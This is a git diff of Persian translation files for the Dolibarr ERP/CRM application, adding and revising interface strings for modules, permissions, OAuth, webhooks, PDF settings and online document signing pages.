      در صورتی که مقدار پیش فرض را در صورت وجود مقادیر در نشانی اینترنتی مورد نظر دارید از %s استفاده کنید AlsoDefaultValuesAreEffectiveForActionCreate=به‌یاد داشته باشید که بازنویسی مقادیر پیش‌فرض برای ساخت برگۀ دریافت اطلاعات تنها برای صفحاتی کار می‌کند که درست طراحی شده باشند ( یعنی با مقدار action=create یا presend...) EnableDefaultValues=فعال‌کردن اختصاصی‌سازی مقادیر پیش‌فرض -EnableOverwriteTranslation=فعال کردن استفاده از ترجمه‌های بازنویسی شده +EnableOverwriteTranslation=Allow customization of translations GoIntoTranslationMenuToChangeThis=برای این کلید با این کد یک ترجمه پیدا شده است. برای تغییر این مقدار، شما باید از گزینۀ خانه-برپاسازی-ترجمه استفاده نمائید. WarningSettingSortOrder=هشدار! تنظیم ترتیب پیش‌فرض، ممکن است اگر این بخش ناشناخته باشد، به یک خطای فنی در هنگام مراجعه به صفحۀ فهرست مواجه شود.در صورتی که با چنین اشکالی برخوردید، به این صفحه بازگردید تا ترتیب پیش‌فرض را بردارید و به رفتار معمولی بازگردید. Field=بخش @@ -643,11 +646,13 @@ Module2300Name=وظایف برنامه‌ریزی‌شده Module2300Desc=مدیریت وظایف برنامه‌ریزی‌شده (alias cron یا chrono table) Module2400Name=رخدادها/جلسات Module2400Desc=رهگیری رخدادها. گزارش‌گیری خودکار رخدادها برای اهداف رهگیری یا ثبت دستی رخدادها یا ملاقات‌ها. این واحد مفهومی برای مشتری خوب یا مدیریت ارتباط با تامین کننده است. +Module2430Name=Booking Calendar System +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=DMS / ECM Module2500Desc=سامانۀ مدیریت مستندات / مدیریت محتوای الکترونیکی. سازماندهی خودکار مستندات ذخیره شده یا تولید شدۀ شما. اشتراک‌گذاری در صورت نیاز. -Module2600Name=خدمات مبتنی بر وب یا رابط برنامه‌نویسی کاربردی (سرور SOAP) +Module2600Name=API / Web services (SOAP server) Module2600Desc=فعال‌کردن سرور SOAP مشتمل بر خدمات رابط برنامه‌نویسی کاربردی -Module2610Name=خدمات مبتنی بر وب یا رابط برنامه‌نویسی کاربردی (سرور REST) +Module2610Name=API / Web services (REST server) Module2610Desc=فعال کردن سرور REST مشتمل بر خدمات رابط برنامه نویسی کاربردی Module2660Name=خدمات تماس/فراخوان مبتنی بر وب ( متقاضی SOAP) Module2660Desc=فعال کردن خدمات مبتنی بر وب متقاضی ( قابل استفاده برای ارسال-push داده/درخواست به سرورهای خارجی. فعلا تنها سفارش‌های خرید پشتیبانی می‌شود.) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=قابلیت‌های تبدیل GeoIP Maxmind Module3200Name=بایگانی‌های تغییرناپذیر Module3200Desc=فعال کردن یک گزارش کاری غیرقابل تغییر. رخدادها به صورت بلادرنگ بایگانی خواهند شد. گزارش به صورت یک جدول فقط‌خواندنی از رخدادهای زنجیره‌ای در آمده که قابلیت صادرات دارند. برای بعضی از کشورها این واحد، اجباری است. +Module3300Name=Module Builder +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=شبکه‌های اجتماعی Module3400Desc=Enable Social Networks fields into third parties and addresses (skype, twitter, facebook, ...). Module4000Name=مدیریت منابع انسانی @@ -698,7 +705,10 @@ Module62000Name=Incoterms Module62000Desc=افزودن قابلیت‌های مدیریت Incoterms که شرایط و قرارداهای ارتباطی تجارت بین الملل است Module63000Name=منابع Module63000Desc=مدیریت منابع (چاپ‌گرها، خودروها، اتاق‌ها و غیره) برای انتساب به رخدادها -Permission11=ملاحظۀ صورت‌حساب‌های مشتریان +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=دریافت‌های کالا +Permission11=Read customer invoices (and payments) Permission12=ایجاد/ویرایش صورت‌حساب مشتریان Permission13=Invalidate customer invoices Permission14=اعتباردهی صورت‌حساب مشتریان @@ -842,9 +852,9 @@ Permission286=صادرکردن طرف‌های تماس Permission291=ملاحظۀ تعرفه‌ها Permission292=تعیین مجوزهای مربوط به تعرفه‌ها Permission293=ویرایش تعرفۀ مشتریان -Permission300=ملاحظۀ بارکدها -Permission301=ایجاد/ویرایش بارکدها -Permission302=حذف بارکدها +Permission301=Generate PDF sheets of barcodes +Permission304=ایجاد/ویرایش بارکدها +Permission305=حذف بارکدها Permission311=ملاحظۀ خدمات Permission312=اختصاص‌دادن خدمات/اشتراک‌ها به قرارداد Permission331=ملاحظۀ نشانه‌ها @@ -940,7 +950,7 @@ Permission1190=تائید (تائید دوم) سفارش خرید Permission1191=Export supplier orders and their attributes Permission1201=دریافت نتیجۀ صادرات Permission1202=ایجاد/ویرایش صادرات -Permission1231=ملاحظۀ صورت‌حساب‌های فروشندگان +Permission1231=Read vendor invoices (and payments) Permission1232=ساخت/ویرایش صورت‌حساب‌های فروشندگان Permission1233=اعتباردهی صورت‌حساب‌های فروشندگان Permission1234=حذف صورت‌حساب‌های فروشندگان @@ -971,13 +981,14 @@ Permission3301=Generate new modules Permission4001=Read skill/job/position Permission4002=Create/modify skill/job/position Permission4003=Delete skill/job/position -Permission4020=Read evaluations -Permission4021=Create/modify your evaluation -Permission4022=Validate evaluation -Permission4023=Delete evaluation -Permission4030=See comparison menu +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Validate evaluation +Permission4025=Delete evaluation +Permission4028=See comparison menu Permission4031=Read personal information Permission4032=Write personal information +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=خواندن محتوای وبگاه Permission10002=ساخت/ویرایش محتوای وبگاه (محتوای html و javascript ) Permission10003=ساخت/ویرایش محتوای وبگاه (کد پویای PHP). خطرناک، تنها باید تحت نظر توسعه‌دهندگان مشخص و محدود باشد. @@ -1081,6 +1092,10 @@ DictionaryAssetDisposalType=Type of disposal of assets TypeOfUnit=Type of unit SetupSaved=تنظیمات برپاسازی ذخیره شد SetupNotSaved=تنظیمات برپاسازی ذخیره نشد +OAuthServiceConfirmDeleteTitle=Delete OAuth entry +OAuthServiceConfirmDeleteMessage=Are you sure you want to delete this OAuth entry ? All existing tokens for it will also be deleted. +ErrorInEntryDeletion=Error in entry deletion +EntryDeleted=Entry deleted BackToModuleList=بازگشت به فهرست واحد‌ها BackToDictionaryList=بازگشت به فهرست واژه‌نامه‌ها TypeOfRevenueStamp=انواع تمبر مالیاتی @@ -1222,7 +1237,7 @@ SetupDescription4=%s -> %s

      This software is a suite of m SetupDescription5=سایر عناوین فهرست برپاسازی برای مدیریت مقادیر اختیاری. SetupDescriptionLink=%s - %s SetupDescription3b=Basic parameters used to customize the default behavior of your application (e.g for country-related features). -SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be enabled and configured. Menu entries will appears with the activation of these modules. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=Security events that are audited NoSecurityEventsAreAduited=No security events are audited. You can enable them from menu %s Audit=Security events @@ -1244,6 +1259,7 @@ AreaForAdminOnly=مقادیر برپاسازی تنها توسط کاربرا SystemInfoDesc=اطلاعات سامانه، اطلاعاتی فنی است که در حالت فقط خواندنی است و تنها برای مدیران قابل نمایش است. SystemAreaForAdminOnly=این ناحیه تنها برای کاربران مدیر در دسترس است. مجوزهای کاربران Dolibarr  این محدودیت‌ها را تغییر نمی‌دهد. CompanyFundationDesc=Edit the information of your company/organization. Click on "%s" button at the bottom of the page when done. +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=در صورتی‌که شما یک حساب‌دار/دفتردار بیرونی دارید، می‌توانید اطلاعات وی را این‌جا ویرایش نمائید AccountantFileNumber=کد حساب‌دار DisplayDesc=Parameters affecting the look and presentation of the application can be modified here. @@ -1261,6 +1277,7 @@ TriggerActiveAsModuleActive=محرک‌های این فایل در هنگامی GeneratedPasswordDesc=روش ایجاد خودکار گذرواژه را تعیین کنید. DictionaryDesc=همۀ داده‌های مرجع را درج کنید. شما می‌توانید همۀ مقادیر را به شکل پیش‌فرض وارد کنید. ConstDesc=This page allows you to edit (override) parameters not available in other pages. These are mostly reserved parameters for developers/advanced troubleshooting only. +MiscellaneousOptions=Miscellaneous options MiscellaneousDesc=همۀ سایر مقادیر امنیتی در این قسمت تعریف شده‌اند. LimitsSetup=تنظیمات محدودیت‌ها/تدقیق‌ها LimitsDesc=شما می‌توانید محدودیت‌ها، تعیین دقیق و بهینه سازی مورد استفاده در Dolibarr را اینجا تعریف کنید @@ -1294,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=شما باید این سطر YourPHPDoesNotHaveSSLSupport=توابع SSL در PHP شما موجود نیست DownloadMoreSkins=پوسته‌های بیشتر برای دریافت SimpleNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset SimpleNumRefNoDateModelDesc=Returns the reference number in the format %s-nnnn where nnnn is a sequential auto-incrementing number with no reset ShowProfIdInAddress=Show professional ID with addresses ShowVATIntaInAddress=Hide intra-Community VAT number @@ -1380,7 +1399,7 @@ GetBarCode=دریافت بارکد NumberingModules=Numbering models DocumentModules=Document models ##### Module password generation -PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters in lowercase. +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=گذرواژۀ پیشنهادی ارائه نشود. گذرواژه‌ها باید به شکل دستی وارد شوند. PasswordGenerationPerso=بازگرداندن یک گذرواژه با توجه به پیکربندی که شما تعریف کرده‌اید. SetupPerso=بسته به پیکربندی تعیین شدۀ شما @@ -1434,6 +1453,10 @@ SuppliersPayment=پرداخت‌های فروشندگان SupplierPaymentSetup=برپاسازی پرداخت‌های فروشندگان InvoiceCheckPosteriorDate=Check facture date before validation InvoiceCheckPosteriorDateHelp=Validating an invoice will be forbidden if its date is anterior to the date of last invoice of same type. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=راه اندازی ماژول طرح های تجاری ProposalsNumberingModules=مدل شماره طرح تجاری @@ -1476,11 +1499,12 @@ WatermarkOnDraftContractCards=نقش‌پس‌زمینه روی قرارداده ##### Members ##### MembersSetup=برپاسازی واحد اعضا MemberMainOptions=گزینه‌های اصلی +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= مدیریت ورود برای هر عضو AdherentMailRequired=برای ساخت یک عضو یک رایانامه لازم است MemberSendInformationByMailByDefault=کادرتائید برای ارسال تصدیق رایانامه برای اعضا (اعتباردهی یا عضویت جدید) به شکل پیش‌فرض فعال است MemberCreateAnExternalUserForSubscriptionValidated=Create an external user login for each new member subscription validated -VisitorCanChooseItsPaymentMode=کاربر می‌تواند از انواع روش پرداخت موجود استفاده نماید +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=فعال‌کردن یادآور خودکار توسط رایانامه برای عضویت‌های منقضی‌شده. توجه: واحد %s برای ارسال صحیح یادآورها نیازمند فعال‌سازی و پیکربندی صحیح است. MembersDocModules=Document templates for documents generated from member record ##### LDAP setup ##### @@ -1742,8 +1766,8 @@ ActivateFCKeditor=فعال کردن ویرایشگر پیشرفته برای: FCKeditorForNotePublic=WYSIWIG creation/edition of the field "public notes" of elements FCKeditorForNotePrivate=WYSIWIG creation/edition of the field "private notes" of elements FCKeditorForCompany=WYSIWIG creation/edition of the field description of elements (except products/services) -FCKeditorForProduct=WYSIWIG creation/edition of the field description of products/services -FCKeditorForProductDetails=WYSIWIG creation/edition of products details lines for all entities (proposals, orders, invoices, etc...). Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= ساخت/ویرایش WYSIWIG برای ارسال رایانامۀ انبوه (ابزار->ارسال رایانامه) FCKeditorForUserSignature=ساخت/ویرایش امضای کاربر توسط WYSIWIG FCKeditorForMail=ساخت/ویرایش همۀ رایانامه‌ها با WYSIWIG (منهای ابزار->ارسال رایانامه) @@ -1766,7 +1790,7 @@ DetailMenuHandler=اداره کنندۀ فهرست برای تعیین مکان DetailMenuModule=نام واحد در صورتی که یک قسمت از فهرست از یک واحد می‌آید DetailType=نوع فهرست (بالا یا چپ) DetailTitre=برچسب فهرست یا کدبرچسب برای ترجمه -DetailUrl=نشانی برای مراجعه (پیوند مطلق نشانی اینترنتی یا نشانی خارجی با http://) +DetailUrl=URL where menu send you (Relative URL link or external link with https://) DetailEnabled=شرایط نمایش یا عدم‌نمایش قسمت DetailRight=شرایط نمایش فهرست‌های خاکستری غیرمجاز DetailLangs=نام فایل ترجمه برای کد برچسب ترجمه @@ -1810,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=استفاده از انواع رخداد (قابل‌مد AGENDA_USE_EVENT_TYPE_DEFAULT=ثبت خودکار این مقدار پیش‌فرض برای نوع رخداد در برگۀ ساخت رخداد AGENDA_DEFAULT_FILTER_TYPE=ثبت خودکار این نوع از رخداد در صافی جستجوی نمای جلسات AGENDA_DEFAULT_FILTER_STATUS=ثبت خودکار این وضعیت جلسه در صافی جستجوی نمای جلسات +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color AGENDA_DEFAULT_VIEW=Which view do you want to open by default when selecting menu Agenda AGENDA_REMINDER_BROWSER=Enable event reminder on user's browser (When remind date is reached, a popup is shown by the browser. Each user can disable such notifications from its browser notification setup). AGENDA_REMINDER_BROWSER_SOUND=فعال‌کردن آگاهی‌رسانی صوتی @@ -1837,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=کاهش موجودی در صندوق CashDeskYouDidNotDisableStockDecease=شما کاهش موجودی با فروش از طریق صندوق را غیرفعال نکرده‌اید، بنابراین تعریف یک انبار موردنیاز است. CashDeskForceDecreaseStockLabel=Stock decrease for batch products was forced. CashDeskForceDecreaseStockDesc=Decrease first by the oldest eatby and sellby dates. -CashDeskReaderKeyCodeForEnter=Key code for "Enter" defined in barcode reader (Example: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup=برپاسازی واحد نشانه‌ها BookmarkDesc=این واحد به شما امکان مدیریت نشانه‌ها را می‌دهد. شما همچنین می‌توانید از این طریق به صفحات مختلف Dolibarr یا سایر نشانی‌های خارجی در فهرست سمت چپ میان‌بر ایجاد کنید. @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=روش‌های شماره‌گذاری صورت IfSetToYesDontForgetPermission=If set to a non null value, don't forget to provide permissions to groups or users allowed for the second approval ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=برپاسازی واحد GeoIP Maxmind -PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation.
      Examples:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=توجه داشته باشید داده‌های فایل تبدیل درگاه‌اینترنتی به کشور باید در پوشه‌ای باشد که PHP بتواند آن را بخواند (تنظیمات open_basedir  در PHP و مجوزهای فایل را در سامانه بررسی کنید). YouCanDownloadFreeDatFileTo=شما می‌توانید یک نسخۀ نمایشی رایگان از فایل کشورهای GeoIP Maxmind را در %s دریافت نمائید. YouCanDownloadAdvancedDatFileTo=همچنین می‌توانید یک نسخۀ کامل‌تر به همراه بروزرسانی فایل کشورهای Maxmind GeoIP را در %s دریافت نمائید. @@ -1926,6 +1953,7 @@ BackupDumpWizard=Wizard to build the database dump file BackupZipWizard=Wizard to build the archive of documents directory SomethingMakeInstallFromWebNotPossible=نصب یک واحد خارجی از طریق رابط وب به دلایل ذیل ممکن نیست: SomethingMakeInstallFromWebNotPossible2=به این دلیل، روند به‌هنگام‌سازی توضیح داده شده تنها به صورت دستی ممکن خواهد بود که تنها یک کاربر مجاز امکان انجام آن را دارد. +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=نصب یک واحد خارجی از داخل برنامه توسط مدیر شما غیرفعال شده است. می‌توانید از وی بخواهید فایل %s را برای ایجاد اجازۀ نصب حذف نماید. ConfFileMustContainCustom=نصب یا ساخت یک واحد خارجی در برنامه نیازمند ذخیرۀ فایل‌های مربوطه در پوشۀ %s است. برای امکان پردازش این پوشه توسط Dolibarr شما باید به فایل conf/conf.php این 2 سطر دستوری را اضافه نمائید:
      $dolibarr_main_url_root_alt='/custom';
      $dolibarr_main_document_root_alt='%s/custom'; HighlightLinesOnMouseHover=برجسته‌کردن سطور جدول در هنگام عبور نشان‌گر موش @@ -2053,6 +2081,8 @@ RemoveSpecialChars=حذف نویسه‌های خاص COMPANY_AQUARIUM_CLEAN_REGEX=گزینش Regex برای پاک کردن مقدار (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Regex filter to clean value (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Duplicate not allowed +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word GDPRContact=مأمور حفاظت داده‌ها (DPO، حریم خصوصی یا طرف‌تماس GDPR) GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here HelpOnTooltip=متن راهنما برای نمایش کادر‌نکات @@ -2080,6 +2110,7 @@ MailboxTargetDirectory=پوشۀ مقصد صندوق‌پستی EmailcollectorOperations=عملیات قابل انجام جمع‌کننده EmailcollectorOperationsDesc=Operations are executed from top to bottom order MaxEmailCollectPerCollect=حداکثر تعداد رایانامه‌های جمع‌آوری شده در یک جمع‌آوری +TestCollectNow=Test collect CollectNow=الآن جمع‌آوری شود ConfirmCloneEmailCollector=Are you sure you want to clone the Email collector %s? DateLastCollectResult=Date of latest collect try @@ -2109,6 +2140,7 @@ CodeLastResult=آخرین کد نتیجه NbOfEmailsInInbox=تعداد رایانامه‌های موجود در پوشۀ منبع LoadThirdPartyFromName=بارگذاری جستجوی شخص‌سوم روی %s (فقط بارگذاری) LoadThirdPartyFromNameOrCreate=بارگذاری جستجوی شخص سوم روی %s (ساختن در صورت عدم یافتن) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=Save attached files into object documents if a ref of an object is found into email topic. WithDolTrackingID=Message from a conversation initiated by a first email sent from Dolibarr WithoutDolTrackingID=Message from a conversation initiated by a first email NOT sent from Dolibarr @@ -2183,6 +2215,7 @@ ShowProjectLabel=Project Label PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=If you want to have some texts in your PDF duplicated in 2 different languages in the same generated PDF, you must set here this second language so generated PDF will contains 2 different languages in same page, the one chosen when generating PDF and this one (only few PDF templates support this). Keep empty for 1 language per PDF. PDF_USE_A=Gererate PDF documents with format PDF/A instead of defaut format PDF FafaIconSocialNetworksDesc=Enter here the code of a FontAwesome icon. If you don't know what is FontAwesome, you can use the generic value fa-address-book. @@ -2211,12 +2244,12 @@ MailToPartnership=Partnership AGENDA_EVENT_DEFAULT_STATUS=Default event status when creating a event from the form YouShouldDisablePHPFunctions=You should disable PHP functions IfCLINotRequiredYouShouldDisablePHPFunctions=Except if you need to run system commands in custom code, you shoud disable PHP functions -PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an anitivurs program), you must keep PHP functions +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=No writable files or directories of the common programs were found into your root directory (Good) RecommendedValueIs=Recommended: %s Recommended=توصیه شده NotRecommended=Not recommended -ARestrictedPath=Some restricted path +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=Check for external modules updates CheckForModuleUpdateHelp=This action will connect to editors of external modules to check if a new version is available. ModuleUpdateAvailable=An update is available @@ -2264,10 +2297,10 @@ LateWarningAfter="Late" warning after TemplateforBusinessCards=Template for a business card in different size InventorySetup= برپاسازی فهرست‌موجودی ExportUseLowMemoryMode=Use a low memory mode -ExportUseLowMemoryModeHelp=Use the low memory mode to execute the exec of the dump (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that file is completed and error message can't be reported if it fails. +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Webhook setup Settings = تنظیمات WebhookSetupPage = Webhook setup page @@ -2288,6 +2321,8 @@ IconOnly=Icon only - Text on tooltip only INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. IfThisCategoryIsChildOfAnother=If this category is a child of another one DarkThemeMode=Dark theme mode @@ -2307,3 +2342,37 @@ UsePassword=Use a password UseOauth=Use a OAUTH token Images=Images MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +ScriptIsEmpty=The script is empty +ShowHideTheNRequests=Show/hide the %s SQL request(s) +DefinedAPathForAntivirusCommandIntoSetup=Define a path for an antivirus program into %s +TriggerCodes=Triggerable events +TriggerCodeInfo=Enter here the trigger code(s) that must generate a post of a web request (only external URL are allowed). You can enter several trigger codes separated by a comma. +EditableWhenDraftOnly=If unchecked, the value can only be modified when object has a draft status +CssOnEdit=Css on edit pages +CssOnView=Css on view pages +CssOnList=Css on list pages +HelpCssOnEditDesc=The Css used when editing the field.
      Example: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=The Css used when viewing the field. +HelpCssOnListDesc=The Css used when field is inside a list table.
      Example: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Hide the quantity ordered on the generated documents for receptions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Show the price on the generated documents for receptions +WarningDisabled=Warning disabled +LimitsAndMitigation=Access limits and mitigation +DesktopsOnly=Desktops only +DesktopsAndSmartphones=Desktops et smartphones +AllowOnlineSign=Allow online signing +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/fa_IR/categories.lang b/htdocs/langs/fa_IR/categories.lang index 52fc644b6df..894cccec441 100644 --- a/htdocs/langs/fa_IR/categories.lang +++ b/htdocs/langs/fa_IR/categories.lang @@ -42,6 +42,7 @@ MemberHasNoCategory=این عضو در هیچ کلیدواژه/دسته‌بند ContactHasNoCategory=این طرف‌تماس در هیچ کلیدواژه/دسته‌بندی وجود ندارد ProjectHasNoCategory=این طرح در هیچ کلیدواژه/دسته‌بندی وجود ندارد ClassifyInCategory=افزودن به کلیدواژه/دسته‌بندی +RemoveCategory=Remove category NotCategorized=بدون کلیدواژه/دسته‌بندی CategoryExistsAtSameLevel=این رده در حال حاضر با این کد عکس وجود دارد ContentsVisibleByAllShort=مطالب توسط همه قابل مشاهده @@ -67,6 +68,7 @@ StockCategoriesShort=Warehouse tags/categories ThisCategoryHasNoItems=This category does not contain any items. CategId=شناسۀ کلیدواژه/دسته‌بندی ParentCategory=Parent tag/category +ParentCategoryID=ID of parent tag/category ParentCategoryLabel=Label of parent tag/category CatSupList=List of vendors tags/categories CatCusList=List of customers/prospects tags/categories @@ -86,15 +88,18 @@ DeleteFromCat=حذف از کلیدواژه/دسته‌بندی ExtraFieldsCategories=ویژگی های مکمل CategoriesSetup=برپاسازی کلیدواژه/دسته‌بندی‌ CategorieRecursiv=پیوند خودکار با کلیدواژه/دسته‌بندی والد -CategorieRecursivHelp=اگر این گزینه روشن باشد، در هنگام افزودن یک محصول به یک زیردسته، محصول مورد نظر به دسته‌بندی وارد نیز اضافه خواهد شد +CategorieRecursivHelp=If option is on, when you add an object into a subcategory, the object will also be added into the parent categories. AddProductServiceIntoCategory=افزودن پیگیری محصول/سرویس AddCustomerIntoCategory=Assign category to customer AddSupplierIntoCategory=Assign category to supplier +AssignCategoryTo=Assign category to ShowCategory=نمایش کلیدواژه/دسته‌بندی ByDefaultInList=به طور پیش‌فرض در فهرست ChooseCategory=انتخاب دسته‌بندی StocksCategoriesArea=Warehouse Categories +TicketsCategoriesArea=Tickets Categories ActionCommCategoriesArea=Event Categories WebsitePagesCategoriesArea=Page-Container Categories KnowledgemanagementsCategoriesArea=KM article Categories UseOrOperatorForCategories=Use 'OR' operator for categories +AddObjectIntoCategory=Add object into category diff --git a/htdocs/langs/fa_IR/commercial.lang b/htdocs/langs/fa_IR/commercial.lang index e28e5acd698..c27228b0343 100644 --- a/htdocs/langs/fa_IR/commercial.lang +++ b/htdocs/langs/fa_IR/commercial.lang @@ -64,17 +64,26 @@ ActionAC_SHIP=ارسال حمل‌ونقل توسط نامه ActionAC_SUP_ORD=ارسال سفارش خرید توسط نامه ActionAC_SUP_INV=ارسال صورت‌حساب فروشنده از طریق نامه ActionAC_OTH=سایر -ActionAC_OTH_AUTO=روی‌دادهائی که به‌طور خودکار درج شده‌اند +ActionAC_OTH_AUTO=Other auto ActionAC_MANUAL=روی‌دادهائی که به شکل دستی وارد شده‌اند ActionAC_AUTO=روی‌دادهای درج‌شده به شکل خودکار -ActionAC_OTH_AUTOShort=خودکار +ActionAC_OTH_AUTOShort=سایر +ActionAC_EVENTORGANIZATION=Event organization events Stats=آمار فروش StatusProsp=وضعیت مشتری‌احتمالی DraftPropals=پیش‌نویش پیشنهادات تجاری NoLimit=بدون محدودیت ToOfferALinkForOnlineSignature=پیوند به امضای برخط -WelcomeOnOnlineSignaturePage=به صفحۀ دریافت پیشنهادات تجاری از %s خوش آمدید -ThisScreenAllowsYouToSignDocFrom=این صفحه به شما امکان تائید و امضا، یا رد، یک استعلام قیمت/پیشنهاد تجاری را می‌دهد -ThisIsInformationOnDocumentToSign=این اطلاعات مربوط به سند برای تائید یا رد است +WelcomeOnOnlineSignaturePageProposal=به صفحۀ دریافت پیشنهادات تجاری از %s خوش آمدید +WelcomeOnOnlineSignaturePageContract=Welcome to %s Contract PDF Signing Page +WelcomeOnOnlineSignaturePageFichinter=Welcome to %s Intervention PDF Signing Page +ThisScreenAllowsYouToSignDocFromProposal=این صفحه به شما امکان تائید و امضا، یا رد، یک استعلام قیمت/پیشنهاد تجاری را می‌دهد +ThisScreenAllowsYouToSignDocFromContract=This screen allow you to sign contract on PDF format online. +ThisScreenAllowsYouToSignDocFromFichinter=This screen allow you to sign intervention on PDF format online. +ThisIsInformationOnDocumentToSignProposal=این اطلاعات مربوط به سند برای تائید یا رد است +ThisIsInformationOnDocumentToSignContract=This is information on contract to sign +ThisIsInformationOnDocumentToSignFichinter=This is information on intervention to sign 